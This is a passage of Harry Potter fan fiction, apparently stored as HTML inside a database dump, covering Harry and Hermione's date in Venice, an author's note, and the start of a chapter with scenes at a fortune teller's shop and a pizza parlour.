Magic.&#8221; Harry\nmade a face. &#8220;I&#8217;d rather play professional Quidditch though, my friend Oliver\nWood is co captain of Puddlemere United.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;THE Oliver Wood?&#8221; Hermione\nasked. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, he was with me the\nother night, he and his girlfriend are the ones who couldn&#8217;t keep their hands\noff each other at the pool table.&#8221; Harry laughed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh right.&#8221; Hermione\nremembered his other date all too well but didn&#8217;t say anything.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Excuse me, Mr. Potter, I\nhope you&#8217;ve enjoyed your dinner.&#8221; The waiter was leaning over the table with a\npiece of parchment in his hand. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It was delicious.&#8221; Hermione\nanswered. Harry signed the parchment and they left the restaurant. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Do you need to get back, or\nwould you like to take a walk?&#8221; Harry asked, desperately hoping she wanted the\nlatter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, I&#8217;d love to take a\nwalk.&#8221; Hermione replied. &#8220;I&#8217;ve never been here before so seeing the city should\nbe exciting.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It will be.&#8221; Harry said,\ntucking her hand in his and intertwining their fingers. They strolled down the\nwalkways, chatting comfortably. After about a half hour, they came to St. Marks\nSquare.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Did you know back during\nthe time when witches were feared they used to burn them right here in this\nsquare?&#8221; Hermione said, looking around. &#8220;Not that it affected them, you know.\nThey only felt a tickling sensation and then apparated away slowly so it wasn&#8217;t\nlet on that they were still alive.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry stared at her\nwordlessly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; she asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I didn&#8217;t take you for the knowledge\ntype.&#8221; Harry replied. He leaned towards her; his green eyes were deep forest\npools. &#8220;It only makes you more attractive.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione blushed and turned\naway. She never usually felt this flustered around the men she dated. &#8220;Most\npeople don&#8217;t, because of the way I look.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well I didn&#8217;t mean for it\nto sound that way&#8230;&#8221; Harry&#8217;s tone was apologetic.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I know you didn&#8217;t.&#8221;\nHermione stopped and turned to face him. She smiled. &#8220;It&#8217;s all right. I think\nin a sense, we&#8217;re in the same boat.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How do you figure?&#8221; Harry\nasked, as they resumed walking. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well people make judgments\non me because of how I look.&#8221; Hermione paused. &#8220;The same goes for you, if you\nthink about it. People expect you to act a certain way because of who your\nfather is.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry smirked. &#8220;You&#8217;re\nright.&#8221; He brought her hand up to his lips and kissed it softly. &#8220;But enough\nabout how we&#8217;re supposed to act&#8230;.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione grinned. &#8220;What, we\nshould do something totally outlandish?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Maybe just a little.&#8221; Harry\nwinked and then stepped up to a small cart loaded with what looked like bags of\ndried corn. He pulled some Muggle lira out of his pocket and handed them to the\ngirl holding the cart, and she gave him one of the bags.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What is that for?&#8221; Hermione\nasked, as Harry tore the bag open.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Watch.&#8221; Harry had a\ndevilish look in his eye. &#8220;Here, pour it all in my hands.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione did as he asked,\nthen watched as he threw his hands up high in the air and the corn scattered\nall over the square, bringing in about a thousand pigeons.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;AHHHH!!!&#8221; people screamed\nas the birds dive-bombed to the ground to eat the corn. Harry grabbed\nHermione&#8217;s hand and they ran away, laughing hysterically.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now that was something\nunexpected.&#8221; Harry said, as they calmed down a few moments later.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ve never seen people run\nso fast in my life!&#8221; Hermione said gleefully. &#8220;It was only a few birds!&#8221; they\nlaughed again and began once more to stroll along the walkways through the\ncity.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh!&#8221; Hermione cried out a\nfew moments later, they had come to a canal and it was lined with a few gondolas.\n&#8220;Gondolas!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Would you like to ride in\none?&#8221; Harry immediately offered. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione turned to him, her\neyes sparkling. &#8220;Can we?&#8221; she asked excitedly. She had always wanted to ride in\na gondola, with a gorgeous Italian male pushing her along. Although, riding\nwith Harry, to her, was better than any dream she&#8217;d had.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Of course.&#8221; Harry motioned\nto the gondolier and he pushed away from the dock and towards them. &#8220;Anything\nfor you.&#8221; He stepped down into the gondola and held his hand out to help her\nin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione sat down and\nstraightened out her dress. Night had fallen, above them the sky was covered\nwith stars. Harry squeezed in next to her; it was a tight fit but neither of\nthem minded. He put an arm across the back and on her shoulders and she shivered\nfrom his touch.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Cold?&#8221; he asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not anymore.&#8221; Hermione\npurred, lowering her eyes demurely. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I bet I could warm you up.&#8221;\nHarry leaned close to her, and marveled at her beauty again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And just how do you propose\nto do that, Mr. Potter?&#8221; Hermione asked, knowing exactly what he intended, and\nshe didn&#8217;t care, as she was completely lost in his emerald eyes as soon as she\nlooked up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Without another word, he\ndipped his head down and gently pressed his lips against hers. His arm left her\nshoulders and he let his hand caress her bare arm gently. She raised her arm\nand let her fingers trail through his hair; she was surprised at how soft it\nwas. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione knew how to kiss.\nAt first, she held back, responding but not a lot. She could feel Harry press\nhis mouth harder against hers, hot and wanting. His hands roamed down her body\nand wrapped around her waist, pulling her to him, as close as possible. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry began to lightly\nstroke her back with his hands, his light touch making her body respond\ninvoluntarily. He noticed this and ran his tongue along her closed lips. She\nopened her mouth underneath his, and he gave a victorious moan as he swept his\ntongue into her mouth and explored. Harry brought his hands from her back to\ncup the sides of her face, rubbing his thumb gently across her cheek.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione responded with more\nvigor, clashing her tongue with his and then wound her hands around the back of\nhis neck, playing with his hair that was sticking up at the base of his head.\nHer body rose a bit under his, enough so that he could slip his arm back around\nher waist and pull her body against his.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ahhh so nice to see two\nyoung people in love&#8230;&#8221; sighed the gondolier. Harry and Hermione broke apart,\nand Hermione turned red, but neither bothered to correct the man.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That was&#8230;pleasurable.&#8221;\nHermione said coyly as they stepped out of the gondola. She smiled up at Harry\nand he grinned back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It certainly was.&#8221; He\nbrought his arms up around her waist and pulled her close to him again. &#8220;In\nfact&#8230;&#8221; he never finished his sentence because Hermione raised herself up and\npressed her lips lightly to his.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Do I have to get you home\nsoon?&#8221; Harry regretfully asked as he pulled away a few moments later. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t know. What time is\nit?&#8221; Hermione asked, turning his arm to look at his watch. She made a face.\n&#8220;Yes, unfortunately. The joys of living with an overprotective mother.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry smiled. &#8220;Well there\nwill be other nights, I hope.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione looked at him from\nthe corner of her eye as they walked to a darker section of the street to use\nthe portkey. &#8220;There will be.&#8221; She replied with certainty.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry produced a small\ngolden key, he had explained earlier that it was his personal portkey, it was a\ngift from his parents on his 21st birthday and it would take him\nanywhere in the world he wanted to go. They both touched it and it took them\nback to the front porch at Hermione&#8217;s.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, this is goodnight\nthen.&#8221; Harry said, stepping forward. He brought his hand up to take hers, first\nkissing her hand and then her lips.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Goodnight.&#8221; Hermione said\nsoftly, watching him apparate away.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">(A/N: Whoa do those two like\nto snog or what? </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Next chapter: Lav and Henry,\nRon and Susan stuff</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Thanks for all the GREAT\nreviews on my last chapter! They are all really appreciated!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Don&#8217;t forget to R/R this one\nas well! And make sure and read Ryoko Blue&#8217;s One Crazy Life, an anime fic as\nwell as the rest of her amazing stories!)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(88, 6, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Chapter 6</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Well I hope you all enjoyed the last chapter; we&#8217;ll have more H/Hr\nin the upcoming chapters. I have to give the other characters a little time, as\nhard as that may be. Harry and Hermione want this story all to themselves ;)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As always, the more reviews, the more enthused I am to write a chapter,\nand that means you&#8217;ll get it quicker. So please, take the time and leave a\nreview, whether it be short or long, they ALL matter!!! </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione stretched her legs on top of her comforter as memories of last\nnight rushed through her mind. She brought her index finger to her lower lip\nand ran it across it slowly, remembering the feel of Harry&#8217;s mouth on hers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh man, I&#8217;ve got it bad&#8230;&#8221; she grinned and sighed, getting out of bed\nand stretching again. She pulled off her nightshirt and tossed it aside,\npulling on some fresh clothing from her closet.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Good morning!&#8221; Hermione sang as she swept into the kitchen. Her mother\nand Lavender stared at her as she went over and got herself some eggs from the\nskillet. &#8220;How did you two sleep last night?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Fine&#8230;&#8221; Lavender replied. &#8220;Um, Hermione, do you know what time it is?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nope.&#8221; Hermione grinned at her most cheerfully.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s eight in the morning.&#8221; Jane said, still staring with concern at\nher daughter. &#8220;Hermione, dear, are you feeling all right?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Never better!&#8221; Hermione said, still grinning as she began to eat.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wait, I know this look.&#8221; Lavender said slyly. &#8220;What&#8217;s his name?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What, I can&#8217;t just be happy in the morning?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No.&#8221; Lavender and Jane chorused together.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione only grinned wider. &#8220;You wouldn&#8217;t believe me if I told you.&#8221;\nShe said, and turned back to her eggs.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You can&#8217;t hold out on us, Hermione.&#8221; Lavender said. She sat down next\nto her cousin. &#8220;Please?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione&#8217;s smile got even wider, if possible. &#8220;Harry Potter.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Jane dropped the cereal box she was holding on the ground, and the rice\npuffs scattered across the floor. &#8220;Who?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry Potter.&#8221; Hermione repeated smugly. &#8220;He took me to Venice.&#8221; She fought to\nkeep her voice from rising with excitement.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Venice, as in Venice Italy?&#8221; Jane asked. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione nodded, her eyes taking on a dreamy look. &#8220;Yes, Venice Italy, it was so\namazing, we had real Italian food, then we walked around the city, then took a\ngondola ride&#8230;&#8221; she got up from her seat and went over to the window and stared\nout. &#8220;I think I&#8217;m in love!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You went where last night? Venice?&#8221; Alexa Potter\nasked her older brother. &#8220;You must have been trying to impress her.&#8221; She\nteased.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry grinned back. &#8220;Maybe.&#8221; He said. &#8220;She&#8217;s amazing, though, she really\nis. She&#8217;s smart, and she&#8217;s gorgeous.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wow, like a two in one package huh.&#8221; Alexa laughed. &#8220;What&#8217;s her name?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione Granger.&#8221; Harry rolled the words around in his mouth, thinking\nback to the time he had spent with her the previous evening. It had been only\nabout twelve hours since he had taken her home, but he already longed to hold\nher in his arms again and snog her senseless. He suddenly realized that Alexa\nwas talking to him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You should be careful.&#8221; She was saying. &#8220;You never know if a girl is\nafter you because of who you are.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s not like that with her, I know it.&#8221; Harry insisted. &#8220;When we were\nwalking around St. Marks Square, she started\nspouting off history about it, and I told her that I didn&#8217;t take her for the\nknowledge type.&#8221; Harry shook his head as he remembered how she had defended\nherself. &#8220;She hates it when people judge her before they get to know her, I\ndon&#8217;t think she&#8217;d be after me for who I am.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Alexa sighed and smiled. &#8220;You&#8217;re a pretty good judge of character, most\nof the time. I know you&#8217;ll be all right. I just don&#8217;t want to see you get\nhurt.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry reached for his sister and hugged her. &#8220;I know, Lex, and I love\nyou for it.&#8221; He and his sister were the best of friends, they looked out for\none another.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;There you are, Harry.&#8221; His father strode into his bedroom without\nknocking. &#8220;Have you heard from your school, about your test?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No.&#8221; Harry&#8217;s voice was cool as he addressed his father. &#8220;And I don&#8217;t\ncare either. I&#8217;m not going back there.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You will, if you want to succeed.&#8221; James looked at him pointedly.\n&#8220;Quidditch players make next to nothing, I won&#8217;t have my son begging for\ncharity.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You don&#8217;t know what you&#8217;re talking about.&#8221; Harry snapped. &#8220;Co captains\nof professional Quidditch teams make more than most of the men in your\ndepartment!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t want to hear another word!&#8221; James said, the tone of his voice\nindicating that the argument was closed. &#8220;If you don&#8217;t hear from your school by\nthe end of this week, you tell me and I&#8217;ll go there myself and have a word.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Fine.&#8221; Harry muttered, turning away and grabbing his cloak from the\ncloset. James turned and left the room, Alexa casting a sympathetic glance in\nher brother&#8217;s direction before following.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender sighed as she entered the figures in the accounting book. When\nshe wasn&#8217;t working at the pizza parlour or babysitting, she worked for a witch\nthat posed as a Muggle fortune teller. The woman had a ton of faithful clients;\nLavender was very respectful of Sibyll Trelawney. She was going to be majoring\nin Divination when she finally went away to college, and working with a true\nSeer was helpful to her. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Lavender dear, how is it coming?&#8221; Sibyll was peeking out around the\ncurtain that led to where she kept her &#8216;office&#8217; which consisted of a crystal\nball, tarot cards, and teacups. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh just fine.&#8221; Lavender answered. She wished she could help assist in\nthe readings, but so far Sibyll had only given her menial tasks to do, nothing\ninvolving real Divination. However, the woman had also given her free reign of\nher personal library, which meant that Lavender had read nearly every novel and\ntext on Divination that there was, so she felt very well versed in the subject.\n&#8220;I&#8217;ve got almost all your figures for last month organized in here, and then\nI&#8217;ll start on this months.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank you dear, you&#8217;re too sweet.&#8221; Sibyll smiled mistily at her.\n&#8220;October is always my busiest month, you know, so many people think something\nterrible will happen to them.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender smiled the fear of All Hallows Eve, or rather, Halloween,\nalways kept people on their toes. They flocked to Sibyll, pleading for her to\ntell them that nothing would happen to them that day.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The bell attached to the main door rang and Sibyll ducked back into her\noffice, and Lavender prepared her best Divinator smile for the approaching\ncustomer. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">To her utmost surprise, it was Henry and Lori who stepped through the\npartition, grinning widely at her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi Lavender!&#8221; Lori giggled, leaving the comfort of her father&#8217;s embrace\nfor Lavender&#8217;s.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi Lori!&#8221; she said, stunned. She looked up at Henry, who was still\ngrinning.</p>\n\n<p class="MsoNormal">&#8220;I uh&#8230;I didn&#8217;t know you were um, coming here&#8230;.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ahhh, well we went to see you at the pizza parlour but your cousin, I\nbelieve, told us you were working here today.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, um yes this is my third job.&#8221; Lavender mumbled, blushing bright red\nas she fumbled her words.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re very dedicated, aren&#8217;t you?&#8221; Henry asked, leaning down to her\nlevel. &#8220;What does this employer have you doing?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So far mainly bookkeeping, but I get to read all the Divination novels\nthat I need and soon she&#8217;ll let me sit in on some of her readings so I can get\na taste of what having the Inner Eye is like. She thinks I&#8217;ve got the makings\nof a really good Divinator, so I&#8217;m very lucky I get to work with her, as she&#8217;s\na true Seer&#8230;&#8221; Lavender trailed off as she realized how she had been rambling.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Lavender?&#8221; Sibyll&#8217;s misty voice travelled from behind the curtain. &#8220;You\nmay bring them in now!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, Sibyll, they&#8217;re not here for&#8212;&#8220; Lavender was cut off by Henry. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, let her read, it&#8217;ll be fun.&#8221; His eyes were twinkling at her and she\ncould only follow he and Lori back behind the curtain.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You may sit in, Lavender.&#8221; Sibyll said as they came back. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank you.&#8221; Lavender replied, taking the chair closest to her mentor.\nHenry and Lori sat across from them. She could hardly believe her luck.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I shall do a crystal ball reading for you.&#8221; Sibyll decided. &#8220;Everyone\nmust join hands, we need to get the vibes flowing throughout the room.&#8221; She\nmotioned with one hand to Lavender, the other to Lori. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Henry extended his hand to Lavender, and she slipped her smaller hand in\nhis larger one. She tried not to pay attention to her sweaty palms and hoped he\ndidn&#8217;t notice them either.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Sibyll closed her eyes and took in the vibes that the rest of them were\nsending out, mentally preparing herself for the visions she would soon be\nseeing in the ball.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender watched in fascination as Sibyll broke the circle of their\nhands and began to look into the foggy depths of the ball. She recited in her\nhead the steps she knew her mentor was taking.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Your future, Mr&#8230;&#8221; she looked at Lavender. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Bowers.&#8221; Lavender supplied, sneaking a glance at Henry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Your future, Mr. Bowers&#8230;it starts out clear, clear as can be&#8230;your path\nseems to be set straight. But&#8230;soon, very soon, it seems, you will be thrown an\nobstacle, and it could ruin your life as the way you know it.&#8221; She looked up through\nher thick spectacles at Henry. &#8220;You must pay careful attention, take heed at\neverything in the coming months.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right.&#8221; Henry said, his face set seriously, but his eyes were\nbetraying him. He obviously was not taking this seriously. Sibyll, not\nnoticing, sat back and lowered her head, her signal that the reading was done.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come.&#8221; Lavender motioned to Henry and Lori, who followed her back out\nto the front. &#8220;I&#8217;m sorry, I didn&#8217;t think she&#8217;d want to do a reading.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s quite all right.&#8221; Henry smiled. &#8220;I found it highly entertaining.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, the Divination I&#8217;m looking into is more of what the centaurs look\nat, being able to read the stars and such.&#8221; Lavender explained, not wanting him\nto think her future profession was funny.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;ll be fine, Lavender.&#8221; Henry chucked her lightly on the cheek. He\npicked Lori up. &#8220;Ready to go home, my little lovely?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes!!!&#8221; Lori giggled. &#8220;Bye Lavender.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We&#8217;ll see you later, Lavender.&#8221; Henry turned and winked at her as they\nwalked out the front.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Leonora sat in the empty pizza parlour, she had all three girls on staff\nthat day but it was a slow afternoon, only busy when the supper crowd had come\nthrough.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We&#8217;re going to have to do better&#8230;&#8221; she said glumly as she pored over\nthe ledger books.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh come on, it&#8217;ll pick back up when the holidays roll around.&#8221; Hermione\nsaid, trying to be supportive. Lavender and Susan privately agreed that it had\nbeen much more pleasant to be around Hermione since she had started seeing\nHarry on a regular basis, all of their dates left her in a wonderful mood for\ndays afterwards.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah, Leonora, we&#8217;ll be fine, we always are.&#8221; Susan said, coming in\nwith a pizza and the newest Witch Weekly. &#8220;Oooh, Hermione did you see this?&#8221;\nshe teased, opening her magazine to a full page photo of Harry and waving it at\nher. &#8220;If it isn&#8217;t the most eligible wizard&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Shut up.&#8221; Hermione laughed and snatched the magazine away. She stared\nat the picture. &#8220;Can I keep this?&#8221; she asked. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan shrugged, and she, Lavender and Leonora all turned away to muffle\ntheir laughter. &#8220;Fine, if you want.&#8221; She grinned.&nbsp; She turned back to Leonora. &#8220;You know,\nperhaps if you told us what is in your sauce, we could make more and business\nwould pick up?&#8221;</p>\n\n<p 